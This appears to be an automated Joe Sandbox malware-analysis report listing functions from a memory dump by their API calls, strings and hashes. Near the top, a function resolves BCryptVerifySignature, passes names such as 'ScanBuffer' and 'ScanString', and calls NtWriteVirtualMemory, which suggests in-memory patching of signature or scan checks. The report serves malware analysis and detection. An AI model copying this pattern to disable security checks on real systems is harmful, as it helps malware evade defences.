GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028A87C6
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,028F23A4,028AA3BF,ScanString,028F23A4,028AA774,ScanBuffer,028F23A4,028AA774,Initialize), ref: 028A8802

Part of subcall function 028A7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 028A7D6C

Strings

BCryptVerifySignature, xrefs: 028A87BF
bcrypt, xrefs: 028A87AB

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: 092640ed654a9e26dee3d0d21a8634ca3d28b358c88f4fafb8314d5f95951051
Instruction ID: 2155d518694854a43b0bbaec5deee99b38bdfec0155dd8638846a0b4ea8eb471
Opcode Fuzzy Hash: 092640ed654a9e26dee3d0d21a8634ca3d28b358c88f4fafb8314d5f95951051
Instruction Fuzzy Hash: 2AF0C8FDA813245FF390AA6DA844F56379EB782355F0C0929BB08C71E4DBB44810CB60

Function 028ADF00 Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 02894ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02894EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,028ADFD2), ref: 028ADF3F
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 028ADF79
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 028ADFA6
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 028ADFAF

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: e3000710de381aa197112f6083038af177038cc5ec60b72128e8fe5941d47482
Instruction ID: a4e5d421b4cd28a2ee525156749818ffc178a2261579642c30fe1291d0759fb9
Opcode Fuzzy Hash: e3000710de381aa197112f6083038af177038cc5ec60b72128e8fe5941d47482
Instruction Fuzzy Hash: C421ED79A40308BAFB10EAE4CC52F9EB7BDAB04B04F544061B600F75D0DBB4AE058A66

Function 028ADE24 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL(?,?), ref: 028ADEA0
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,028ADEF2), ref: 028ADEB6
NtDeleteFile.NTDLL(?), ref: 028ADED5

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: Path$DeleteFileInitNameName_StringUnicode
String ID:
API String ID: 1459852867-0
Opcode ID: 04bcbcdbf97a37c569b4dc7d71b775fc47ae6acb87d6c073bc15c153bbad84ce
Instruction ID: f9043de021f4a34bb4421796fa30e84f945c5ccf2b011e17e640d533ad1f1aa4
Opcode Fuzzy Hash: 04bcbcdbf97a37c569b4dc7d71b775fc47ae6acb87d6c073bc15c153bbad84ce
Instruction Fuzzy Hash: BC01867EA453486EFB05E7E4CDA1BCDB7BDAB54B04F5000E29200E6492DF746B19CB22

Function 028ADE78 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02894ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02894EDA

RtlInitUnicodeString.NTDLL(?,?), ref: 028ADEA0
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,028ADEF2), ref: 028ADEB6
NtDeleteFile.NTDLL(?), ref: 028ADED5

Part of subcall function 02894C0C: SysFreeString.OLEAUT32(028AED84), ref: 02894C1A

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: String$Path$AllocDeleteFileFreeInitNameName_Unicode
String ID:
API String ID: 1694942484-0
Opcode ID: 65dfcebf0f218996466e1b20f823dc84b7fdbc7278a39f8c141c1e949c7e8b17
Instruction ID: b5535dc2f0a5ea412858f62bc5088d34081c26bb7d6ef8f93d9438efe2473ac3
Opcode Fuzzy Hash: 65dfcebf0f218996466e1b20f823dc84b7fdbc7278a39f8c141c1e949c7e8b17
Instruction Fuzzy Hash: E901F47D940248BAEB11EBE4CD61FDEB3BDEB58700F5044B1A601E2580EF756B148A65

Function 02897F52 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02897F75

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: af95a7847bce4aac7ce6c5ec9bc2f4eb7d8060860abe66f176e19b8d00619888
Instruction ID: a2bfd6feb6bb550ac774bae51f8af12296f29db3ba7000db5eb99d9cc9dd0456
Opcode Fuzzy Hash: af95a7847bce4aac7ce6c5ec9bc2f4eb7d8060860abe66f176e19b8d00619888
Instruction Fuzzy Hash: 581100B5A00209AF9B04CF9DC8809AFF7F9EFC8304B14C569A508EB254E6319A018B90

Function 0289A744 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0289A762

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
Instruction ID: d814ab3b97626573e48520275640cd9615ddd9f0fabb139ec4b24c2caa278e08
Opcode Fuzzy Hash: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
Instruction Fuzzy Hash: 16E0D83D70021827DB15A5AC9C819F6735D975C310F04417EBD49C7341FDA19D404EE5

Function 0289B70C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,028BD106,00000000,028BD11E), ref: 0289B71A

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 3d6040078e2d3b2e26761f854c4311bb14854f4f32b5198d6e945d1973107ae5
Instruction ID: 0fd25192b939acda6ef8ccf7cc6fee2a8089c1af5b63d08140b1e1e6bd274b04
Opcode Fuzzy Hash: 3d6040078e2d3b2e26761f854c4311bb14854f4f32b5198d6e945d1973107ae5
Instruction Fuzzy Hash: A6F0177C904305AFD751DF28E540A5577E9FB48B04F848D2CE699C7780E7399418CF5A

Function 0289A790 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0289BDF2,00000000,0289C00B,?,?,00000000,00000000), ref: 0289A7A3

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
Instruction ID: 37f70dd436098941240fcf38343711eea672bb4dc605a16aeb3876cc9542d687
Opcode Fuzzy Hash: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
Instruction Fuzzy Hash: EDD05EBE30E2603AA624915A2D85D7B5AFCCAC57A1F08403EF588C6201D2008C0596F1

Function 0289918C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 02899190

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
Instruction ID: 2989e7c8566a69bd7abd289a05a11fa1c55da388cb09da66b9dbc5021717cc83
Opcode Fuzzy Hash: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
Instruction Fuzzy Hash: 23A01128808830028A803B2C0C0223A3088A800A20FC80F80A8F8802E2FE2E022080E3

Function 028BE596 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 007f7118ed148b327ae0518c11a45bc40620c11e986c5062092c6bdf67fe7d0f
Instruction ID: f7d47b1fce763081f3145c2debae8fa2a3df3d393fe6ba46a6a680f27ebde7e7
Opcode Fuzzy Hash: 007f7118ed148b327ae0518c11a45bc40620c11e986c5062092c6bdf67fe7d0f
Instruction Fuzzy Hash: F751E6790592C28FC7438F7884A86D17FF1AE1B62434906DAC8D4CF263E3696897DB11

Function 028920C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 0289D214 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 0289D21D

Part of subcall function 0289D1E8: GetProcAddress.KERNEL32(00000000), ref: 0289D201

Strings

VarCyFromStr, xrefs: 0289D3A1
VarSub, xrefs: 0289D283
VarBoolFromStr, xrefs: 0289D3B7
VarNeg, xrefs: 0289D241
VarR8FromStr, xrefs: 0289D375
oleaut32.dll, xrefs: 0289D218
VarDiv, xrefs: 0289D2AF
VarAnd, xrefs: 0289D2F1
VarCmp, xrefs: 0289D333
VarDateFromStr, xrefs: 0289D38B
VarMul, xrefs: 0289D299
VarOr, xrefs: 0289D307
VarXor, xrefs: 0289D31D
VarAdd, xrefs: 0289D26D
VarMod, xrefs: 0289D2DB
VarBstrFromDate, xrefs: 0289D3E3
VarBstrFromBool, xrefs: 0289D3F9
VariantChangeTypeEx, xrefs: 0289D22B
VarR4FromStr, xrefs: 0289D35F
VarBstrFromCy, xrefs: 0289D3CD
VarIdiv, xrefs: 0289D2C5
VarNot, xrefs: 0289D257
VarI4FromStr, xrefs: 0289D349

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 0a09cebae0315e9dc28a66b11e6f7c0fba7028c7cb5d231eea5de29ea2c8bcf6
Instruction ID: 3300339cd46ec7f3ee8912e062ca989361d07d33ccfa5f875ae34347d7cb28c1
Opcode Fuzzy Hash: 0a09cebae0315e9dc28a66b11e6f7c0fba7028c7cb5d231eea5de29ea2c8bcf6
Instruction Fuzzy Hash: 14410C7EA842085B5E087B6D7500827FFDED6C97103A8841BBA04CB788DDB1BD594E7E

Function 028A6E58 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 028A6E5E
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 028A6E6F
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 028A6E7F
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 028A6E8F
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 028A6E9F
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 028A6EAF
GetProcAddress.KERNEL32 ref: 028A6EBF

Strings

CoCreateInstanceEx, xrefs: 028A6E69
ole32.dll, xrefs: 028A6E59
CoReleaseServerProcess, xrefs: 028A6E99
CoResumeClassObjects, xrefs: 028A6EA9
CoSuspendClassObjects, xrefs: 028A6EB9
CoInitializeEx, xrefs: 028A6E79
CoAddRefServerProcess, xrefs: 028A6E89

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: 04b364091ec235a1d63c59dec21024e1154272aea569d98f360c231bd15d2481
Instruction ID: 6dcc19a2224de4aca5fbc1bd4712bc70ec5269c12f4e9da87a1903efda48911c
Opcode Fuzzy Hash: 04b364091ec235a1d63c59dec21024e1154272aea569d98f360c231bd15d2481
Instruction Fuzzy Hash: DDF09EBC9847316EBF027F749C918772B5DA91168435C2819A502E5A87FF7984304B51

Function 02892530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 028928CE

Strings

The sizes of unexpected leaked medium and large blocks are: , xrefs: 02892849
Unexpected Memory Leak, xrefs: 028928C0
Unknown, xrefs: 0289278C
bytes: , xrefs: 0289275D
String, xrefs: 028927A1
7, xrefs: 028926A1
The unexpected small block leaks are:, xrefs: 02892707
An unexpected memory leak has occurred. , xrefs: 02892690
, xrefs: 02892814

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: a5f1d13035eb8e03cd8058cbe49f7a85657567bb817f806faeb3db61bbd5dcf3
Instruction ID: 1fde73932357c719c959b4eb28cf2ea815647205f34aad37486cb4099dafae0e
Opcode Fuzzy Hash: a5f1d13035eb8e03cd8058cbe49f7a85657567bb817f806faeb3db61bbd5dcf3
Instruction Fuzzy Hash: 84A1073CA04254AFDF21AA2CCC84BD876E5EB09314F1801E5DD4DEB38ACB759989CF51

Function 0289252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

The sizes of unexpected leaked medium and large blocks are: , xrefs: 02892849
Unexpected Memory Leak, xrefs: 028928C0
bytes: , xrefs: 0289275D
7, xrefs: 028926A1
The unexpected small block leaks are:, xrefs: 02892707
An unexpected memory leak has occurred. , xrefs: 02892690
, xrefs: 02892814

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 6e85c248001a515c84f5076380aed61a0a1132958a1d2af5ea1e4407e450c388
Instruction ID: fa772b88f966f967225c29b11d265f4c408c8eb594972a172fe374f1b4b1dcf7
Opcode Fuzzy Hash: 6e85c248001a515c84f5076380aed61a0a1132958a1d2af5ea1e4407e450c388
Instruction Fuzzy Hash: C171D43CA04258AFDF219B2CCC84BD9B6E5EB09314F1801E5D94DE7289CB7549C5CF52

Function 0289BD40 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,0289C00B,?,?,00000000,00000000), ref: 0289BD76

Part of subcall function 0289A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0289A762

Strings

mmmm d, yyyy, xrefs: 0289BE72
:mm:ss, xrefs: 0289BFC6
m/d/yy, xrefs: 0289BE45
:mm, xrefs: 0289BFA9
AMPM, xrefs: 0289BF8A
AMPM , xrefs: 0289BF99

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 0a81b4b8e6154283f423653484a013178925285ab997f8593a3e7def3c39c6c1
Instruction ID: 6e5ed7fe4b9cff6fd881a690fc4fffde495082b9ac76620e6ef6a488e4bc8617
Opcode Fuzzy Hash: 0a81b4b8e6154283f423653484a013178925285ab997f8593a3e7def3c39c6c1
Instruction Fuzzy Hash: 0C61733C7101489BDF04EBE8D850B9F77F79B88300F189435E205EB745CA3AD90A9B62

Function 028AAE18 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 028AAE38
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 028AAE4F
IsBadReadPtr.KERNEL32(?,00000004), ref: 028AAEE3
IsBadReadPtr.KERNEL32(?,00000002), ref: 028AAEEF
IsBadReadPtr.KERNEL32(?,00000014), ref: 028AAF03

Strings

LoadLibraryExA, xrefs: 028AAE45
KernelBase, xrefs: 028AAE4A

Memory Dump Source

Source File: 00000000.00000002.3446785369.0000000002891000.00000020.00001000.00020000.00000000.sdmp, Offset: 02890000, based on PE: true

Associated: 00000000.00000002.3446769259.0000000002890000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446832196.00000000028BE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446887020.00000000028F2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3446922910.00000000029E9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2890000_UAHIzSm2x2.jbxd

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: e9778b8f7f5410bb8f3c0b06abe01951ac09fb9cdde240e6604f380265c72492
Instruction ID: 654bdb466c2b9d231f531f97783e0f87163b656976c1c4f199d4d32ac536e0ea
Opcode Fuzzy Hash: e9778b8f7f5410bb8f3c0b06abe01951ac09fb9cdde240e6604f380265c72492
